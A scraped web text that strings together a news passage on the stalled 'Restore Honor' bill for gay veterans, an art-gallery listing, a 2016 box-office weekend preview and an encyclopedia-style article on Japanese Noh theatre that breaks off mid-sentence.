Rep. Rangel, the original House sponsor and decorated Korean War veteran, declared, "It's embarrassing as hell for us to have to explain why it's taking too long for America and the Congress just to do the right thing."
'Restore Honor' advocates want DOD to dispense with lengthy inquiries tasked with investigating whether a service member was wrongly discharged for being gay prior to 1994. It's a complex process, since discharge forms before Don't Ask, Don't Tell (DADT) rarely explicitly cited sexual orientation as the primary cause for dismissal, making cases difficult to prove.
Discharges could be designated in four ways: dishonorable, other than honorable, general, or honorable.
After DADT passed in the mid-1990s, Burns explains that honorably discharged LGBT service members' files were marked with a code indicating sexual orientation led to their exit, opening them up to possible discrimination in 37 states where it's still legal to fire or deny housing to gay people.
Since DOD has a process in place for rectifying past cases of LGBT discharges, opponents of 'Restore Honor' argue it's duplicative and fixes a problem that's already been patched. Given the largely partisan backing of 'Restore Honor,' supporters face an uphill battle to gain cosponsors and force votes in committee.
Veterans Respond
Burns, no longer working in Congress, stopped by Capitol Hill on Thursday to thank Schatz, Rangel and Pocan for carrying the baton on his veterans bill. Before walking away, Burns shared the story of a phone call that he got from a Korean War veteran kicked out of the military for gay activities.
The 80-something veteran said to Burns, "I hear that Congressman Rangel has a bill that will make my service honorable." Surprised, Burns told the elderly man, "No, your service was honorable -- there's just a bill that would recognize that."
Overcome with the possibility of a clean record, the elderly veteran said, "I just want someone to tell me I served honorably."
The House bill currently has 108 cosponsors -- including three Republicans -- but is stalled in the Military Personnel subcommittee. Likewise, Schatz's bill is sitting in the Senate's Armed Services Committee, with 37 cosponsors. Neither version looks set for a full committee vote soon.Search Gallery Space Cars, Lattes, Aliens PixelKitties 227 Fifi Friday: Fifi The Baroness PixelKitties 139 Fifi Friday: When Minnie Met Fifi PixelKitties 191 Jurassic Pink is frightening in the...dink? Rink? PixelKitties 1,124 Undercover Karate Ducks PixelKitties 273 John de Lancie Autograph Art PixelKitties 234 Grizzlor PixelKitties 314 Magica and Goldie Preview PixelKitties 456 Cleopatra De Spell PixelKitties 141 Celestia Live in the Eighties PixelKitties 855 Fifi Friday vs Elmyra Octavius PixelKitties 158 Starlight IT PixelKitties 460 Fifi Friday- Fifi's Delivery Service PixelKitties 291 Wind Waker PixelKitties 412 Pixel Style Guide PixelKitties 49 Game Night- FINAL PixelKitties 609 Fifi Friday: Brunch on the Veranda PixelKitties 223 Ducktales- Webby and Lena PixelKitties 529 Fifi Friday- Spider-Hampton PixelKitties 258 Captain Mare-vel PixelKitties 460 Rolling Thunder and Vapor Trail PixelKitties 326 Han Smolder PixelKitties 566 Knifehead PixelKitties 151 Magica De Spell...cel! PixelKitties 153Other new offerings include Obama date movie 'Southside With You,' 'Mechanic: Resurrection' and Roberto Duran biopic 'Hands of Stone' while specialty title 'Hell or High Water' makes a nationwide push after a successful limited run.
The sleepy days of August have arrived at the box office.
With the summer tentpole season over, a crop of genre films and titles from independent distributors will vie for attention this weekend at the North American box office. Psychological horror-thriller Don't Breathe, from Sony's Screen Gems and Stage 6 Films, is expected to win the race with $11 million-$14 million from more than 2,900 locations, according to projections. (Sony insiders are being more conservative in suggesting $11 million-$12 million.)
If Don't Breathe does come in No. 1, it will topple Warner Bros.' Suicide Squad from the top spot after ruling for three consecutive weekends.
Costing under $10 million to make, Don't Breathe hopes to repeat the success that other horror films have enjoyed this summer. From writer-director Fede Alvarez, the R-rated movie — currently sporting an impressive 91 percent fresh rating on Rotten Tomatoes — revolves around a delinquent teenage girl and her boyfriend, along with another friend, whose attempt to rob a blind man's house takes a terrifying turn.
Ghost House Pictures and Good Universe were producers on Don't Breathe, which stars Jane Levy, Dylan Minnette, Daniel Zovatto and Stephen Lang and premiered at the South by Southwest festival in March.
The male-fueled Mechanic: Resurrection, a sequel to the 2011 film The Mechanic starring Jason Statham, will roll out in 2,258 theaters. Predictions show the action pic, with Statham returning in the title role, grossing $6 million-$8 million. Lionsgate is releasing the film on behalf of Millennium Films, which put up much of the financing.
Directed by Dennis Gansel from a script by Philip Shelby, Resurrection also stars Jessica Alba, Tommy Lee Jones and Michelle Yeoh.
The Weinstein Co. will open Hands of Stone starring Robert De Niro and Edgar Ramirez, in roughly 800 locations, a modest footprint.
Hands of Stone, which made its world premiere out of competition at the Cannes Film Festival in May to mixed reviews, stars Ramirez as Panamanian boxer Roberto Duran, who was coached to greatness in the 1970s by trainer Ray Arcel (De Niro).
The film is the first release from TWC proper since Sing Street in April. That doesn't count Clown, a Dimension/TWC film that played in select theaters for two weeks this summer.
Also opening in approximately 800 theaters is first-time feature director Richard Tanne's critically acclaimed Southside With You, which chronicles President Barack Obama and first lady Michelle Obama's first date in 1989 when they were young lawyers at the same Chicago firm. The film stars Parker Sawyers and Tika Sumpter and was fully financed by IM Global. Miramax and Roadside Attractions partnered in picking up U.S. rights out of the Sundance Film Festival, while Miramax also picked up several key territories, including the U.K.
Miramax and Roadside originally intended to open Southside With You in select theaters, but opted for a nationwide footprint thanks to strong reviews and a successful screening program.
Projections show Southside With You holding an edge over Hands of Stone.
One wild card is specialty film and modern-day Western Hell or High Water, one of the best-reviewed films of the year, which is set to expand to a total of 901 theaters.
The heist film, starring Chris Pine, Jeff Bridges and Ben Foster, has done strong business in its limited debut over the past two weekends, performing well in both art houses and in the South, Southwest and Midwest. CBS Films and Lionsgate are partners on the film's domestic release.This article is about the classical Japanese dance theatre. For the town in Africa, see Noh, Burkina Faso. For the wife of Oda Nobunaga, see Nōhime. For the surname 노, usually transliterated Roh, see Roh
"Nou" and "Nō" redirect here. For other uses, see Nou (disambiguation)
Not to be confused with kabuki theater
Noh (能, Nō), derived from the Sino-Japanese word for "skill" or "talent", is a major form of classical Japanese musical drama that has been performed since the 14th century. Developed by Kan'ami and his son Zeami, it is the oldest major theatre art that is still regularly performed today.[1] Traditionally, a Noh program includes five Noh plays with comedic kyōgen plays in between; an abbreviated program of two Noh plays and one kyōgen piece has become common in Noh presentations today. An okina (翁) play may be presented in the very beginning especially at New Year, holidays, and other special occasions.[2]
Nō together with Kyōgen is part of Nōgaku theatre.[3]
Noh is often based on tales from traditional literature with a supernatural being transformed into human form as a hero narrating a story. Noh integrates masks, costumes and various props in a dance-based performance, requiring highly trained actors and musicians. Emotions are primarily conveyed by stylized conventional gestures while the iconic masks represent the roles such as ghosts, women, children, and the elderly. Written in ancient Japanese language, the text "vividly describes the ordinary people of the twelfth to sixteenth centuries".[attribution needed][4] Having a strong emphasis on tradition rather than innovation, Noh is extremely codified and regulated by the iemoto system.
History [ edit ]
Noh stage at World's oldeststage at Miyajima
Karaori garment, Edo period, 18th century, bamboo and chrysanthemum design on red and white checkered ground garment, Edo period, 18th century, bamboo and chrysanthemum design on red and white checkered ground
Origins [ edit ]
The word Noh is a borrowing from Middle Chinese nong 能 (cf. Mandarin néng), and means "skill", "craft", or "talent", particularly in the field of performing arts in this context. The word Noh may be used alone or with gaku (fun, music) to form the word nōgaku. Noh is a classical tradition that is highly valued by many today. When used alone, Noh refers to the historical genre of theatre originated from sarugaku in the mid 14th century and continues to be performed today.[5]
Noh and kyōgen "originated in the 8th century when the sangaku (ja:散楽) was transmitted from China to Japan. At the time, the term sangaku referred to various types of performance featuring acrobats, song and dance as well as comic sketches. Its subsequent adaptation to Japanese society led to its assimilation of other traditional art forms."[4]
Various performing art elements in sangaku as well as elements of dengaku (rural celebrations performed in connection with rice planting), sarugaku (popular entertainment including acrobatics, juggling, and pantomime), shirabyōshi (traditional dances performed by female dancers in the Imperial Court in 12th century), and gagaku (ancient music and dance performed in the Imperial Court beginning in 7th century) evolved into Noh and kyōgen.[1]
Studies on genealogy of the Noh actors in 14th century indicate they were members of families specialized in performing arts; they had performed various traditional performance arts for many generations. Sociological research by Yukio Hattori reveals that the Konparu School (ja:金春流), arguably the oldest school of Noh, is a descendant of Mimashi (味摩之), the performer who introduced gigaku, now-extinct masked drama-dance performance, into Japan from Kudara Kingdom in 612.[5]
Another theory by Shinhachirō Matsumoto suggests Noh originated from outcastes struggling to claim higher social status by catering to those in power, namely the new ruling samurai class of the time. The transferral of the shogunate from Kamakura to Kyoto at the beginning of Muromachi period marked the increasing power of the samurai class and strengthened the relationship between the shogunate and the court. As Noh became the shōgun's favorite art form, Noh was able to become a courtly art form through this newly formed relationship. In 14th century, with strong support and patronage from shōgun Ashikaga Yoshimitsu, Zeami was able to establish Noh as the most prominent theatre art form of the time.[5]
Kan'ami and Zeami [ edit ]
Kan'ami Kiyotsugu and his son Zeami Motokiyo brought Noh to what is essentially its present-day form during the Muromachi period (1336 to 1573).[6] Kan'ami was a renowned actor with great versatility fulfilling roles from graceful women and 12-year-old boys to strong adult males. When Kan'ami first presented his work to 17-year-old Ashikaga Yoshimitsu, Zeami was a child actor in his play, around age 12. Yoshimitsu fell in love with Zeami and his position of favor at court caused Noh to be performed frequently for Yoshimitsu thereafter.[5]
Tokugawa era [ edit ]
During the Edo period Noh continued to be aristocratic art form supported by the shōgun, the feudal lords (daimyōs), as well as wealthy and sophisticated commoners. While kabuki and joruri popular to the middle class focused on new and experimental entertainment, Noh strived to preserve its established high standards and historic authenticity and remained mostly unchanged throughout the era. To capture the essence of performances given by great masters, every detail in movements and positions was reproduced by others, generally resulting in an increasingly slow, ceremonial tempo over time.[5]
Modern Noh after Meiji era [ edit ]
The fall of the Tokugawa shogunate in 1868 and the formation of a new modernized government resulted in the end of financial support by the government, and the entire field of Noh experienced major financial crisis. Shortly after the Meiji Restoration both the number of Noh performers and Noh stages greatly diminished. The support from the imperial government was eventually regained partly due to Noh's appeal to foreign diplomats. The companies that remained active throughout the Meiji era also significantly broadened Noh's reach by catering to the general public, performing at theatres in major cities such as Tokyo and Osaka.[7]
In 1957 the Japanese Government designated nōgaku as an Important Intangible Cultural Property, which affords a degree of legal protection to the tradition as well as its most accomplished practitioners. The National Noh Theatre founded by the government in 1983 stages regular performances and organizes courses to train actors in the leading roles of nōgaku. Noh was inscribed in 2008 on the Representative List of the Intangible Cultural Heritage of Humanity by UNESCO as Nôgaku theatre.[4]
Although the terms nōgaku and Noh are sometimes used interchangeably, nōgaku encompasses both Noh and kyōgen.[8] Kyōgen is performed in between Noh plays in the same space. Compared to Noh, "kyōgen relies less on the use of masks and is derived from the humorous plays of the sangaku, as reflected in its comic dialogue."[4]
The concept of jo-ha-kyū dictates virtually every element of Noh including compiling of a program of plays, structuring of each play, songs and dances within plays, and the basic rhythms within each Noh performance. Jo means beginning, ha means breaking, and kyū means rapid or urgent. The term originated in gagaku, ancient courtly music, to indicate gradually increasing tempo and was adopted in various Japanese traditions including Noh, tea ceremony, poetry, and flower arrangement.[9]
Jo-ha-kyū is incorporated in traditional five-play program of Noh. The first play is jo, the second, third, and fourth plays are ha, and the fifth play is kyū. In fact, the five categories discussed below were created so that the program would represent jo-ha-kyū when one play from each category is selected and performed in order. Each play can be broken into three parts, the introduction, the development, and the conclusion. A play starts out in a slow tempo at jo, gets slightly faster at ha, then culminates in kyū.[10]
Performers and roles [ edit ]
sōke) of Kanze Sakon ( 観世左近, 1895–1939), Head () of Kanze school
Actors begin their training as young children, traditionally at the age of three. Historically, Noh performers had been exclusively male, but daughters of established Noh actors have begun to perform professionally since the 1940s. In 2009, there were about 1200 male and 200 female professional Noh performers.[11]
Training [ edit ]
Zeami isolated nine levels or types of Noh acting from lower degrees which put emphasis on movement and violence to higher degrees which represent the opening of a flower and spiritual prowess.[12]
In 2012, there are five extant schools of Noh acting called Kanze (観世), Hōshō (宝生), Komparu (金春), Kongō (金剛), and Kita (喜多) schools that train shite actors. Each school has its own iemoto family that carries the name of the school and is considered the most important. The iemoto holds the power to create new plays or modify lyrics and performance modes.[13] Waki actors are trained in the schools Takayasu (高安), Fukuou (福王), and Hōshō (宝生). There are two schools that train kyōgen, Ōkura (大蔵) and Izumi (和泉). 11 schools train instrumentalists, each school specializing in one to three instruments.[14]
The Nohgaku Performers' Association (Nōgaku Kyōkai), to which all professionals are registered, strictly protects the traditions passed down from their ancestors (see iemoto). However, several secret documents of the Kanze school written by Zeami, as well as materials by Konparu Zenchiku, have been diffused throughout the community of scholars of Japanese theatre.[14]
Roles [ edit ]
shite; front right: waki; right: eight-member jiutai (chorus); rear center: four hayashi-kata (musicians); rear left: two kōken (stage hands). Noh stage. Center:; front right:; right: eight-member(chorus); rear center: four(musicians); rear left: two(stage hands).
There are four major categories of Noh performers: shite, waki, kyōgen, and hayashi.[15]
Shite (仕手, シテ). Shite is the main protagonist, or the leading role in plays. In plays where the shite appears first as a human and then as a ghost, the first role is known as the mae-shite and the later as the nochi-shite. Shitetsure (仕手連れ, シテヅレ). The shite's companion. Sometimes shitetsure is abbreviated to tsure (連れ, ツレ), although this term refers to both the shitetsure and the wakitsure.
(仕手連れ, シテヅレ). The companion. Sometimes is abbreviated to (連れ, ツレ), although this term refers to both the and the. Kōken (後見) are stage hands, usually one to three people.
(後見) are stage hands, usually one to three people. Jiutai (地謡) is the chorus, usually comprising six to eight people. Waki (脇, ワキ) performs the role that is the counterpart or foil of the shite. Wakitsure (脇連れ, ワキヅレ) or Waki-tsure is the companion of the waki. Kyōgen (狂言) perform the aikyōgen (間狂言), which are interludes during plays. Kyōgen actors also perform in separate plays between individual Noh plays. Hayashi (囃子) or hayashi-kata (囃子方) are the instrumentalists who play the four instruments used in Noh theatre: the transverse flute 笛, fue) 大鼓, ōtsuzumi) ōkawa ( 大皮 ), the shoulder-drum 小鼓, kotsuzumi) 太鼓, taiko) nōkan or nohkan ( 能管 ).
A typical Noh play always involves the chorus, the orchestra, and at least one shite and one waki actor.[16]
Performance elements [ edit ]
Noh performance combines a variety of elements into a stylistic whole, with each particular element the product of generations of refinement according to the central Buddhist, Shinto, and minimalist aspects of Noh's aesthetic principles.
Masks [ edit ]
Nō masks. Right: Drunken spirit (shōjō). Made of red and black lacquered wood, with red silk tying cord, by Himi Munetada (氷見宗忠). Edo period, 19th century. Left: Nakizo, representing a female deity or woman of high rank, associated with Nō plays such as Hagoromo and Ohara Miyuki. Made of lacquered and painted wood by Norinari (憲成), designed by Zoami (増阿弥). 18th-19th century. masks. Right: Drunken spirit (). Made of red and black lacquered wood, with red silk tying cord, by Himi Munetada (氷見宗忠). Edo period, 19th century. Left: Nakizo, representing a female deity or woman of high rank, associated with Nō plays such as Hagoromo and Ohara Miyuki. Made of lacquered and painted wood by Norinari (憲成), designed by Zoami (増阿弥). 18th-19th century.
Three pictures of the same female mask showing how the expression changes with a tilting of the head. This mask expresses different moods. In these pictures, the mask was affixed to a wall with constant lighting, and only the camera moved.
Noh masks (能面 nō-men or 面 omote) are carved from blocks of Japanese cypress (檜 "hinoki"), and painted with natural pigments on a neutral base of glue and crunched seashell. There are approximately 450 different masks mostly based on sixty types, all of which have distinctive names. Some masks are representative and frequently used in many different plays, while some are very specific and may only be used in one or two plays. Noh masks signify the characters' gender, age, and social ranking, and by wearing masks the actors may portray youngsters, old men, female, or nonhuman (divine, demonic, or animal) characters. Only the shite, the main actor, wears a mask in most plays, even though the tsure may also wear a mask in some plays to represent female characters.[17]
Even though the mask covers an actor's facial expressions, the use of the mask in Noh is not an abandonment of facial expressions altogether. Rather, its intent is to stylize and codify the facial expressions through the use of the mask and to stimulate the imagination of the audience. By using masks, actors are able to convey emotions in a more controlled manner through movements and body language. Some masks utilize lighting effect to convey different emotions through slight tilting of the head. Facing slightly upward, or "brightening" the mask, will let the mask to capture more light, revealing more features that appear laughing or smiling. Facing downward, or "clouding" it, will cause the mask to appear sad or mad.[10]
Noh masks are treasured by Noh families and institution, and the powerful Noh schools hold the oldest and most valuable Noh masks in their private collections, rarely seen by the public. The most ancient mask is supposedly kept as a hidden treasure by the oldest school, the Konparu. According to the current head of the Konparu school, the mask was carved by the legendary regent Prince Shōtoku (572-622) over a thousand years ago. While the historical accuracy of the legend of Prince Shōtoku's mask may be contested, the legend itself is ancient as it is first recorded in Zeami's Style and the Flower written in the 14th century.[17] Some of the masks of the Konparu school belong to the Tokyo National Museum, and are exhibited there frequently.[18]
Stage [ edit ]
A contemporary Noh theatre with indoor roofed structure
waki seat. 10: waki spot. 11: shite spot. 12: shite-bashira. 13: metsuke-bashira. 14: waki-bashira. 15: fue-bashira. 1: hashigakari. 2: kyōgen spot. 3: stage attendants. 4: stick drum. 5: hip drum. 6: shoulder drum. 7: flute. 8: chorus. 9:seat. 10:spot. 11:spot. 12:. 13:. 14:. 15:
The traditional Noh stage has complete openness that provides a shared experience between the performers and the audience throughout the performance. Without any proscenium or curtains to obstruct the view, the audience sees each actor even during the moments before they enter (and after they exit) the central "stage". The theatre itself is considered symbolic and treated with reverence both by the performers and the audience.[10]
One of the most recognizable characteristic of Noh stage is its independent roof that hangs over the stage even in indoor theatres. Supported by four columns, the roof symbolizes the sanctity of the stage, with its architectural design derived from the worship pavilion (haiden) or sacred dance pavilion (kagura-den) of Shinto shrines. The roof also unifies the theatre space and defines the stage as an architectural entity.[10]
The pillars supporting the roof are named shitebashira (principal character's pillar), metsukebashira (gazing pillar), wakibashira (secondary character's pillar), and fuebashira (flute pillar), clockwise from upstage right respectively. Each pillar is associated with the performers and their actions.[19]
The stage is made entirely of unfinished hinoki, Japanese cypress, with almost no decorative elements. The poet and novelist Tōson Shimazaki writes that "on the stage of the Noh theatre there are no sets that change with each piece. Neither is there a curtain. There is only a simple panel (kagami-ita) with a painting of a green pine tree. This creates the impression that anything that could provide any shading has been banished. To break such monotony and make something happen is no easy thing."[10]
Another unique feature of the stage is the hashigakari, a narrow bridge at upstage right used by actors to enter the stage. Hashigakari means "suspension bridge", signifying something aerial that connects two separate worlds on a same level. The bridge symbolizes the mythic nature of Noh plays in which otherworldly ghosts and spirits frequently appear. In contrast, hanamichi in Kabuki theatres is literally a path (michi) that connects two spaces in a single world, thus has a completely different significance.[10]
Costumes [ edit ]
Noh actors wear silk costumes called shozoku (robes) along with wigs, hats, and props such as the fan. With striking colors, elaborate texture, and intricate weave and embroidery, Noh robes are truly works of art in their own right. Costumes for the shite in particular are extravagant, shimmering silk brocades, but are progressively less sumptuous for the tsure, the wakizure, and the aikyōgen.[10]
For centuries, in accordance with the vision of Zeami, Noh costumes emulated the clothing that the characters would genuinely wear, such as the formal robes for a courtier and the street clothing for a peasant or commoner. But in the late sixteenth century, the costumes became stylized with certain symbolic and stylistic conventions. During the Edo (Tokugawa) period, the elaborate robes given to actors by noblemen and samurai in the Muromachi period were developed as costumes.[20]
The musicians and chorus typically wear formal montsuki kimono (black and adorned with five family crests) accompanied by either hakama (a skirt-like garment) or kami-shimo, a combination of hakama and a waist-coat with exaggerated shoulders. Finally, the stage attendants are garbed in virtually unadorned black garments, much in the same way as stagehands in contemporary Western theatre.[7]
Props [ edit ]
The use of props in Noh is minimalistic and stylized. The most commonly used prop in Noh is the fan, as it is carried by all performers regardless of role. Chorus singers and musicians may carry their fan in hand when entering the stage, or carry it tucked into the obi (the sash). The fan is usually placed at the performer's side when he or she takes position, and is often not taken up again until leaving the stage. During dance sequences, the fan is typically used to represent any and all hand-held props, such as a sword, wine jug, flute, or writing brush. The fan may represent various objects over the course of a single play.[10]
When hand props other than fans are used, they are usually introduced or retrieved by kuroko who fulfill a similar role to stage crew in contemporary theatre. Like their Western counterparts, stage attendants for Noh traditionally dress in black, but unlike in Western theatre they may appear on stage during a scene, or may remain on stage during an entire performance, in both cases in plain view of the audience. The all-black costume of kuroko implies they are not part of the action on stage and are effectively invisible.[7]
Set pieces in Noh such as the boats, wells, altars, and bells, are typically carried onto the stage before the beginning of the act in which they are needed. These props normally are only outlines to suggest actual objects, although the great bell, a perennial exception to most Noh rules for props, is designed to conceal the actor and to allow a costume change during the kyōgen interlude.[17]
Chant and music [ edit ]
Hayashi-kata (noh musicians). Left to right: taiko, ōtsuzumi (hip drum), kotsuzumi (shoulder drum), flute. (noh musicians). Left to right:(hip drum),(shoulder drum),
Noh theatre is accompanied by a chorus and a hayashi ensemble (Noh-bayashi 能囃子). Noh is a chanted drama, and a few commentators have dubbed it "Japanese opera". However, the singing in Noh involves a limited tonal range, with lengthy, repetitive passages in a narrow dynamic range. Texts are poetic, relying heavily on the Japanese seven-five rhythm common to nearly all forms of Japanese poetry, with an economy of expression, and an abundance of allusion. The singing parts of Noh are called "Utai" and the speaking parts "Kataru".[21] The music has many blank spaces (ma) in between the actual sounds, and these negative blank spaces are in fact considered the heart of the music. In addition to utai, Noh hayashi ensemble consists of four musicians, also known as the "hayashi-kata", including three drummers, which play the shime-daiko, ōtsuzumi (hip drum), and kotsuzumi (shoulder drum) respectively, and a nohkan flutist.[10]
The chant is not always performed "in character |
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